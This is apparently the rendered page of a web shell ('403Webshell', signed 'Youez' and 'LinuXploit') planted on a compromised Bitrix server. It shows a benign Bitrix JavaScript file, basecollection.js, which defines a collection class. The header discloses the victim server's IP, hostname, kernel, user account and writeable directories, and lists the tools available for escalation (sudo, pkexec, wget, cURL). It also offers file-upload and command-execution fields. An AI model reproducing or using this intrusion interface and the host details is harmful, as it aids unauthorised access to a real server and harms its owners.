403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/landing/collection/basecollection/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/landing/collection/basecollection/src/basecollection.js
import {Type} from 'main.core';

/**
 * @memberOf BX.Landing.Collection
 */
export class BaseCollection extends Array
{
	add(value: any)
	{
		if (!this.includes(value))
		{
			this.push(value);
		}
	}

	remove(value: any)
	{
		const index = this.getIndex(value);
		if (index > -1)
		{
			this.splice(index, 1);
		}
	}

	getIndex(value: any): number
	{
		return this.indexOf(value);
	}

	/**
	 * @deprecated
	 * @see this.includes()
	 */
	contains(value: any): boolean
	{
		return this.includes(value);
	}

	isChanged(): boolean
	{
		return this.some((item) => item.isChanged());
	}

	fetchValues(): {[key: string]: any}
	{
		return this.reduce((acc, item) => {
			if (!item.selector.startsWith('-1'))
			{
				if (Type.isFunction(item.getAttrValue))
				{
					acc[item.selector] = item.getAttrValue();
				}
				else
				{
					acc[item.selector] = item.getValue();
				}
			}

			return acc;
		}, {});
	}

	fetchAdditionalValues(): {[key: string]: any}
	{
		return this.reduce((acc, item) => {
			if (!item.selector.startsWith('-1') && item.getAdditionalValue)
			{
				const values = item.getAdditionalValue();
				if (!Type.isNil(values))
				{
					acc[item.selector] = values;
				}
			}

			return acc;
		}, {});
	}

	fetchChanges(): BaseCollection
	{
		return this.filter((item) => {
			return 'isChanged' in item && 'getValue' in item && item.isChanged();
		});
	}

	clear()
	{
		this.splice(0, this.length);
	}

	toArray(): Array<any>
	{
		return [...this];
	}

	get(id: any): any
	{
		return this.find((item) => `${item.id}` === `${id}`);
	}

	getByLayout(layout: HTMLElement): any
	{
		return this.find((item) => {
			return Type.isObject(item) && item.layout === layout;
		});
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit